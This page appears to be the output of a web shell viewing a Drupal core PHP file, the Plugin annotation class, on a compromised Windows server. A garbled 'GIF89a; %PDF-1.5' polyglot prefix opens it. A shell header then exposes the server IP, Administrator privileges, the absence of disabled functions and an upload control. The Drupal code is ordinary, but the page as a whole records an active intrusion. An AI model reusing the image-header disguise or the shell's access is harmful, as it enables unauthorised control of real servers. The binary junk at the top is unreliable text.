GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Component/Annotation/ |
Upload File : |
<?php namespace Drupal\Component\Annotation; use Drupal\Component\Utility\NestedArray; /** * Defines a Plugin annotation object. * * Annotations in plugin classes can use this class in order to pass various * metadata about the plugin through the parser to * DiscoveryInterface::getDefinitions() calls. This allows the metadata * of a class to be located with the class itself, rather than in module-based * info hooks. * * @ingroup plugin_api * * @Annotation */ class Plugin implements AnnotationInterface { /** * The plugin definition read from the class annotation. * * @var array */ protected $definition; /** * Constructs a Plugin object. * * Builds up the plugin definition and invokes the get() method for any * classed annotations that were used. */ public function __construct($values) { $reflection = new \ReflectionClass($this); // Only keep actual default values by ignoring NULL values. $defaults = array_filter($reflection->getDefaultProperties(), function ($value) { return $value !== NULL; }); $parsed_values = $this->parse($values); $this->definition = NestedArray::mergeDeep($defaults, $parsed_values); } /** * Parses an annotation into its definition. * * @param array $values * The annotation array. * * @return array * The parsed annotation as a definition. */ protected function parse(array $values) { $definitions = []; foreach ($values as $key => $value) { if ($value instanceof AnnotationInterface) { $definitions[$key] = $value->get(); } elseif (is_array($value)) { $definitions[$key] = $this->parse($value); } else { $definitions[$key] = $value; } } return $definitions; } /** * {@inheritdoc} */ public function get() { return $this->definition; } /** * {@inheritdoc} */ public function getProvider() { return isset($this->definition['provider']) ? $this->definition['provider'] : FALSE; } /** * {@inheritdoc} */ public function setProvider($provider) { $this->definition['provider'] = $provider; } /** * {@inheritdoc} */ public function getId() { return $this->definition['id']; } /** * {@inheritdoc} */ public function getClass() { return $this->definition['class']; } /** * {@inheritdoc} */ public function setClass($class) { $this->definition['class'] = $class; } }